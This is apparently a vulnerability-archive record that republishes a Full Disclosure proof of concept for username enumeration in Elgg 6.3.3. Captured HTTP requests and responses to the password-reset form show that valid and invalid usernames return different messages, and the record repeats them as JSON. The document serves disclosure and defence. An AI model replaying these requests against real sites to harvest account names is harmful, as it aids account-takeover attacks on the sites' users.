GCVE-1988-2026-0194
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
Username Enumeration - elggv6.3.3
Summary
# Exploit Title: Elgg - Username Enumeration
# Date: 1/2026
# Exploit Author: Andrey Stoykov
# Version: 6.3.3
# Tested on: Ubuntu 22.04
# Blog:
https://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-47-lack-of.html
// HTTP Request - Resetting Password - Valid User
POST /action/user/requestnewpassword HTTP/1.1
Host: elgg.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)
Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://elgg.local
Sec-GPC: 1
Connection: keep-alive
Referer: http://elgg.local/forgotpassword
Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6
Upgrade-Insecure-Requests: 1
Priority: u=0, i
__elgg_token=2Cpt0GyVW9swhLkm5PggkQ&__elgg_ts=1769264047&username=admin
// HTTP Response - Resetting Password - Valid User
HTTP/1.1 302 Found
Date: Sat, 24 Jan 2026 14:14:43 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
Location: http://elgg.local/
Vary: User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 318
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='http://elgg.local/'"; />
<title>Redirecting to http://elgg.local/</title>
</head>
<body>
Redirecting to <a href="http://elgg.local/";>http://elgg.local/</a>.
</body>
</html>
// HTTP Request - Following Redirection - Valid User
GET / HTTP/1.1
Host: elgg.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)
Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Origin: http://elgg.local
Sec-GPC: 1
Connection: keep-alive
Referer: http://elgg.local/action/user/requestnewpassword
Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6
Upgrade-Insecure-Requests: 1
Priority: u=0, i
// HTTP Response - Following Redirection - Valid User
HTTP/1.1 200 OK
Date: Sat, 24 Jan 2026 14:14:46 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
x-frame-options: SAMEORIGIN
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
x-content-type-options: nosniff
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 20646
[...]
<div class="elgg-message elgg-message-success"><div class="elgg-inner"><div
class="elgg-body">Successfully requested a new password, email
sent</div></div></div>
[...]
// HTTP Request - Resetting Password - Invalid User
POST /action/user/requestnewpassword HTTP/1.1
Host: elgg.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)
Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Origin: http://elgg.local
Sec-GPC: 1
Connection: keep-alive
Referer: http://elgg.local/forgotpassword
Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6
Upgrade-Insecure-Requests: 1
Priority: u=0, i
__elgg_token=2Cpt0GyVW9swhLkm5PggkQ&__elgg_ts=1769264047&username=x
// HTTP Response - Resetting Password - Invalid User
HTTP/1.1 302 Found
Date: Sat, 24 Jan 2026 14:15:07 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
Location: http://elgg.local/forgotpassword
Vary: User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 374
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='
http://elgg.local/forgotpassword'"; />
<title>Redirecting to http://elgg.local/forgotpassword</title>
</head>
<body>
Redirecting to <a href="http://elgg.local/forgotpassword";>
http://elgg.local/forgotpassword</a>.
</body>
</html>
// HTTP Request - Following Redirection - Invalid User
GET /forgotpassword HTTP/1.1
Host: elgg.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)
Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Origin: http://elgg.local
Sec-GPC: 1
Connection: keep-alive
Referer: http://elgg.local/action/user/requestnewpassword
Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6
Upgrade-Insecure-Requests: 1
Priority: u=0, i
// HTTP Response - Following Redirection - Invalid User
HTTP/1.1 200 OK
Date: Sat, 24 Jan 2026 14:15:09 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
x-frame-options: SAMEORIGIN
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
x-content-type-options: nosniff
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 19681
[...]
<div class="elgg-message elgg-message-error"><div class="elgg-inner"><div
class="elgg-body">Username x not found.</div></div></div>
[...]
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
13 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | Username Enumeration - |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "Username Enumeration -",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Andrey Stoykov"
}
],
"descriptions": [
{
"lang": "en",
"value": "# Exploit Title: Elgg - Username Enumeration\n# Date: 1/2026\n# Exploit Author: Andrey Stoykov\n# Version: 6.3.3\n# Tested on: Ubuntu 22.04\n# Blog:\nhttps://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-47-lack-of.html\n\n// HTTP Request - Resetting Password - Valid User\n\nPOST /action/user/requestnewpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 71\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/forgotpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n__elgg_token=2Cpt0GyVW9swhLkm5PggkQ\u0026__elgg_ts=1769264047\u0026username=admin\n\n// HTTP Response - Resetting Password - Valid User\n\nHTTP/1.1 302 Found\nDate: Sat, 24 Jan 2026 14:14:43 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nLocation: http://elgg.local/\nVary: User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 318\n\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003cmeta charset=\"UTF-8\" /\u003e\n \u003cmeta http-equiv=\"refresh\" content=\"0;url=\u0027http://elgg.local/\u0027\"; /\u003e\n\n \u003ctitle\u003eRedirecting to http://elgg.local/\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n Redirecting to \u003ca href=\"http://elgg.local/\";\u003ehttp://elgg.local/\u003c/a\u003e.\n \u003c/body\u003e\n\u003c/html\u003e\n\n// HTTP Request - Following Redirection - Valid User\n\nGET / HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/action/user/requestnewpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n// HTTP Response - Following Redirection - Valid User\n\nHTTP/1.1 200 OK\nDate: Sat, 24 Jan 2026 14:14:46 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nx-frame-options: SAMEORIGIN\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nx-content-type-options: nosniff\nVary: Accept-Encoding,User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 20646\n\n[...]\n\u003cdiv class=\"elgg-message elgg-message-success\"\u003e\u003cdiv class=\"elgg-inner\"\u003e\u003cdiv\nclass=\"elgg-body\"\u003eSuccessfully requested a new password, email\nsent\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n[...]\n\n// HTTP Request - Resetting Password - Invalid User\n\nPOST /action/user/requestnewpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/forgotpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n__elgg_token=2Cpt0GyVW9swhLkm5PggkQ\u0026__elgg_ts=1769264047\u0026username=x\n\n\n// HTTP Response - Resetting Password - Invalid User\n\nHTTP/1.1 302 Found\nDate: Sat, 24 Jan 2026 14:15:07 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nLocation: http://elgg.local/forgotpassword\nVary: User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 374\n\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003cmeta charset=\"UTF-8\" /\u003e\n \u003cmeta http-equiv=\"refresh\" content=\"0;url=\u0027\nhttp://elgg.local/forgotpassword\u0027\"; /\u003e\n\n \u003ctitle\u003eRedirecting to http://elgg.local/forgotpassword\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n Redirecting to \u003ca href=\"http://elgg.local/forgotpassword\";\u003e\nhttp://elgg.local/forgotpassword\u003c/a\u003e.\n \u003c/body\u003e\n\u003c/html\u003e\n\n// HTTP Request - Following Redirection - Invalid User\n\nGET /forgotpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/action/user/requestnewpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n// HTTP Response - Following Redirection - Invalid User\n\nHTTP/1.1 200 OK\nDate: Sat, 24 Jan 2026 14:15:09 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nx-frame-options: SAMEORIGIN\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nx-content-type-options: nosniff\nVary: Accept-Encoding,User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 19681\n\n[...]\n\u003cdiv class=\"elgg-message elgg-message-error\"\u003e\u003cdiv class=\"elgg-inner\"\u003e\u003cdiv\nclass=\"elgg-body\"\u003eUsername x not found.\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n[...]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:57:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/30"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/30"
},
{
"url": "http://elgg.local"
},
{
"url": "http://elgg.local/"
},
{
"url": "http://elgg.local/\""
},
{
"url": "http://elgg.local/\u0027\""
},
{
"url": "http://elgg.local/action/user/requestnewpassword"
},
{
"url": "http://elgg.local/forgotpassword"
},
{
"url": "http://elgg.local/forgotpassword\""
},
{
"url": "http://elgg.local/forgotpassword\u0027\""
},
{
"url": "https://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-47-lack-of.html"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/30"
],
"discovery": "EXTERNAL"
},
"title": "Username Enumeration - elggv6.3.3",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0194",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/30",
"automated": true,
"contentSha256": "117ea4f7bc3e4cf6e724145aae4a21a9e1546f57275af082c1192b9de57223cb",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/30",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-01-24T18:04:50Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:41Z",
"dateUpdated": "2026-09-08T07:57:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0194"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…